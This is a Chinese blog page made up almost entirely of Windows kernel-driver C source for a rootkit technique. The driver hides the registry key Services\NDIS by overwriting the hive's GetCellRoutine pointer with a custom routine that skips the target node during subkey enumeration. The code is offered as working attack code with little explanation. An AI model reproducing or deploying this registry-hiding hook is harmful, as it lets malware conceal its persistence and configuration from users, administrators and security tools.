隐藏注册表键代码

这篇博客介绍了如何在内核模式下隐藏注册表键。通过定义CM_KEY_INDEX_ROOT等常量,使用PGET_CELL_ROUTINE函数指针获取细胞例程,并通过结构体如_CM_KEY_CONTROL_BLOCK、_CM_KEY_NODE等操作注册表节点。关键步骤包括打开目标注册表键,获取KEY_CONTROL_BLOCK,替换GetCellRoutine为自定义的MyGetCellRoutine,从而实现隐藏特定注册表键的目的。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

#include <ntddk.h>

#define CM_KEY_INDEX_ROOT      0x6972         // ir
#define CM_KEY_INDEX_LEAF      0x696c         // il
#define CM_KEY_FAST_LEAF       0x666c         // fl
#define CM_KEY_HASH_LEAF       0x686c         // hl

typedef PVOID (__stdcall *PGET_CELL_ROUTINE)(PVOID, HANDLE);

#pragma pack(1)
typedef struct _HHIVE {
           ULONG Signature;
           PGET_CELL_ROUTINE GetCellRoutine;
           // ...
} HHIVE, *PHHIVE;

typedef struct _CM_KEY_CONTROL_BLOCK {
        UCHAR Tapz[0x10]; //garbage
        PHHIVE pHHive;
        ULONG KeyCell;
// ...
}CM_KEY_CONTROL_BLOCK, *PCM_KEY_CONTROL_BLOCK;

typedef struct _CM_KEY_NODE {
           USHORT Signature;
           USHORT Flags;
           LARGE_INTEGER LastWriteTime;
           ULONG Spare;               // used to be TitleIndex
           HANDLE Parent;
           ULONG SubKeyCounts[2];     // Stable and Volatile
           HANDLE SubKeyLists[2];     // Stable and Volatile
           // ...
} CM_KEY_NODE, *PCM_KEY_NODE;

typedef struct _CM_KEY_INDEX {
           USHORT Signature;
           USHORT Count;
           HANDLE List[1];
} CM_KEY_INDEX, *PCM_KEY_INDEX;

typedef struct _CM_KEY_BODY {
           ULONG Type;              // "ky02"
           PVOID KeyControlBlock;
           PVOID NotifyBlock;
           PEPROCESS Process;       // the owner process
           LIST_ENTRY KeyBodyList;         // key_nodes using the same kcb
} CM_KEY_BODY, *PCM_KEY_BODY;
#pragma pack()


//key to hide
WCHAR g_HideKeyName[] = L"//Registry//Machine//SYSTEM//CurrentControlSet//Services//NDIS";

PGET_CELL_ROUTINE  pGetCellRoutine=NULL;
PGET_CELL_ROUTINE *ppGetCellRoutine=NULL;

PCM_KEY_NODE HideNode=NULL;
PCM_KEY_NODE LastNode=NULL;


HANDLE OpenKeyByName(PCWSTR pwcsKeyName)
{
           NTSTATUS status;
           UNICODE_STRING uKeyName;
           OBJECT_ATTRIBUTES OA;
           HANDLE hKey;

           RtlInitUnicodeString(&uKeyName, pwcsKeyName);
           InitializeObjectAttributes(&OA, &uKeyName, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);
           status = ZwOpenKey(&hKey, KEY_READ, &OA);
           if(!NT_SUCCESS(status))
           {
                   DbgPrint("ZwOpenKey Failed: %lx/n", status);
                   return NULL;
           }

           return hKey;
}


PVOID GetKeyControlBlock(HANDLE hKey)
{
           NTSTATUS Status;
           PCM_KEY_BODY KeyBody;
           PCM_KEY_CONTROL_BLOCK pKCB;

           if(hKey==NULL)
                return NULL;

           Status=ObReferenceObjectByHandle(hKey, KEY_READ, NULL, KernelMode, &KeyBody, NULL);
           if(!NT_SUCCESS(Status))
           {
                   DbgPrint("Error with ObReferenceObjectByHandle : 0x%x/n", Status);
                   return NULL;
           }

           pKCB=KeyBody->KeyControlBlock;
           DbgPrint("KeyControlBlock : 0x%x/n", pKCB);

           ObDereferenceObject(KeyBody);

           return pKCB;
}


PVOID GetLastKeyNode(PVOID Hive, PCM_KEY_NODE Node)
{
           ULONG i;

           // get parent Node
           PCM_KEY_NODE ParentNode=(PCM_KEY_NODE)pGetCellRoutine(Hive, Node->Parent);

           PCM_KEY_INDEX Index=(PCM_KEY_INDEX)pGetCellRoutine(Hive, ParentNode->SubKeyLists[0]);

           DbgPrint("ParentNode = 0x%x, IndexList = 0x%x/n", ParentNode, Index);
           DbgPrint("ParentNode->SubKeyCounts[0] : %d, ParentNode->SubKeyCounts[1] : %d/n", ParentNode->SubKeyCounts[0], ParentNode->SubKeyCounts[1]);

           DbgPrint("Signature : 0x%x, Index->Count : %d/n", (USHORT)Index->Signature, Index->Count);

           if(Index->Signature==CM_KEY_INDEX_ROOT)
           {
                   Index=(PCM_KEY_INDEX)pGetCellRoutine(Hive, Index->List[Index->Count-1]);
                   DbgPrint("Index = 0x%x/n", Index);
           }

           if(Index->Signature==CM_KEY_FAST_LEAF || Index->Signature==CM_KEY_HASH_LEAF)
                   return pGetCellRoutine(Hive, Index->List[2*(Index->Count-1)]);
   else
                   return pGetCellRoutine(Hive, Index->List[Index->Count-1]);
}


PVOID MyGetCellRoutine(PVOID Hive, HANDLE Cell)
{
           PVOID Ret=pGetCellRoutine(Hive, Cell);

           if(Ret)
           {
                   //if pGetCellRoutine return the node to hide
                   if(Ret==HideNode)
                   {
                           DbgPrint("GetCellRoutine(0x%x, 0x%08lx) = 0x%x/n", Hive, Cell, Ret);

                           //get last KeyNode and save it in LastNode
                           Ret=LastNode=(PCM_KEY_NODE)GetLastKeyNode(Hive, HideNode);

                           DbgPrint("LastNode = 0%x/n", LastNode);
                       
                        //if our HideNode=LastNode, return NULL       
                           if(Ret==HideNode)
                                        Ret=NULL;
                   }
                   //after, when we reach the LastNode we return NULL
                   else if(Ret==LastNode)
                   {
                           DbgPrint("GetCellRoutine(0x%x, 0x%08lx) = 0x%x/n", Hive, Cell, Ret);

                           Ret=LastNode=NULL;
                   }
           }

   //DbgPrint("RetNode : 0x%x/n", Ret);
   return Ret;
}

NTSTATUS DriverUnload(PDRIVER_OBJECT pDrvObj)
{
           DbgPrint("DriverUnload Called/n");
       
        //restore GetCellRoutine
           if(ppGetCellRoutine)
                        *ppGetCellRoutine=pGetCellRoutine;

           return STATUS_SUCCESS;
}

NTSTATUS DriverEntry(PDRIVER_OBJECT pDrvObj, PUNICODE_STRING pRegPath)
{
           HANDLE hKey;
           PCM_KEY_CONTROL_BLOCK pKCB;
           PHHIVE pHHive;

           DbgPrint("DriverEntry Called/n");

          pDrvObj->DriverUnload=DriverUnload;
       
        //get a handle witch reference a KEY_BOY struct
           hKey=OpenKeyByName(g_HideKeyName);

        //get KEY_CONTROL_KEY associated with the key mapping
           pKCB=GetKeyControlBlock(hKey);
           if(pKCB)
           {
               
                   pHHive=(PHHIVE)pKCB->pHHive;

                   DbgPrint("pHHive : 0x%x/n", pHHive);
               
                //save address of GetCellRoutine variable in hive struct
                   ppGetCellRoutine=&pHHive->GetCellRoutine;
       
                //save GetCellRoutine function address
                   pGetCellRoutine=pHHive->GetCellRoutine;

                   DbgPrint("GetCellRoutine : 0x%x/n", pGetCellRoutine);

                //get the KeyNode to hide
                   HideNode=(PCM_KEY_NODE)pGetCellRoutine((PVOID)pHHive, (HANDLE)pKCB->KeyCell);
               
                //replace GetCellRoutine by MyGetCellRoutine
                   pHHive->GetCellRoutine=MyGetCellRoutine;
           }

           ZwClose(hKey);

           return STATUS_SUCCESS;
}

 
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值